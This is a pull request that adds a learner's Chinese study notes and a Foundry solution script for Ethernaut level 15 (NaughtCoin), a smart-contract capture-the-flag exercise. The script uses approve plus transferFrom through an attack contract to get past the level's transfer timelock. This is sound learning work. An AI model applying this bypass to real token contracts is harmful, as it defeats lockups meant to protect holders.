Merge pull request #967 from clad000/clad000-patch-1

Clad000 patch 1

Clad.md

@@ -12,8 +12,8 @@ timezone: Asia/Taipei
 <!-- Content_START -->
 
 ### 心得
-- foundry 和 solidity 零經驗, 目前寫到 Ethernaut 第六題, 幾乎都要看著解答才寫得出來
-- 目前至少會在本地跑 foundry 環境, 並讓 code 跑起來
+- foundry 和 solidity 零經驗, 目前寫到 Ethernaut 第 15 題, 幾乎都要看著解答才寫得出來  
+- 目前至少會在本地跑 foundry 環境, 並讓 code 跑起來  
 - 目前嘗試邊寫 Ethernaut, 邊學習 solidity 基礎
 
 ### 2024.08.29
@@ -194,5 +194,16 @@ timezone: Asia/Taipei
     - run code 的時候出現找不到 EthernautHelper.sol": No such file or directory, 但我的 code 應是沒用到 EthernautHelper.sol 去初始化, 這個問題還待排除  
 解題:      
   [Lev14-GatekeeperTwo](./Writeup/Clad/script/Lev14Sol.s.sol)  
+
+### 2024.09.22
+題目: NaughtCoin       
+學習內容      
+目標: 讓 player(你) 的餘額歸零
+筆記:     
+    - ERC-20 有兩種轉帳方式, transfer()、transferFrom()
+    - Player 授權代幣總供給數量給攻擊合約
+    - 攻擊合約對關卡呼叫 transferFrom(), 把 Player 身上的代幣全部轉進攻擊合約, 就可以讓 Player 持有代  
+解題:      
+  [Lev15-NaughtCoin](./Writeup/Clad/script/Lev15Sol.s.sol)  
 
 <!-- Content_END -->

Writeup/Clad/script/Lev15Sol.s.sol

@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "../src/NaughtCoin.sol";
+import "../lib/forge-std/src/Script.sol";
+import "../lib/forge-std/src/console.sol";
+
+// target 讓 player(你) 的餘額歸零
+// ERC-20 有兩種轉帳方式, transfer()、transferFrom()
+// 1.Player 授權代幣總供給數量給攻擊合約
+// 2.攻擊合約對關卡呼叫 transferFrom(), 把 Player 身上的代幣全部轉進攻擊合約, 就可以讓 Player 持有代幣歸零
+
+contract attackCon {
+    NaughtCoin attackInstance;
+    constructor(address _attackInstance) {
+        attackInstance = NaughtCoin(_attackInstance);
+    }
+
+    function attack() external {
+        (bool result, ) = address(attackInstance).call(
+            abi.encodeWithSignature(
+                "transferFrom(address,address,uint256)",
+                msg.sender,
+                address(this),
+                1000000 * (10 ** 18)
+            )
+        );
+        if (result) {}
+    }
+}
+contract Lev15Sol is Script {
+    NaughtCoin public Lev15Instance =
+        NaughtCoin(0x68D6F76F3A83Cae5e6731302B824312519a345F5);
+    function run() external {
+        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
+
+        attackCon myattack = new attackCon(address(Lev15Instance));
+        IERC20(address(Lev15Instance)).approve(
+            address(myattack),
+            1000000 * (10 ** 18)
+        );
+        myattack.attack();
+
+        vm.stopBroadcast();
+    }
+}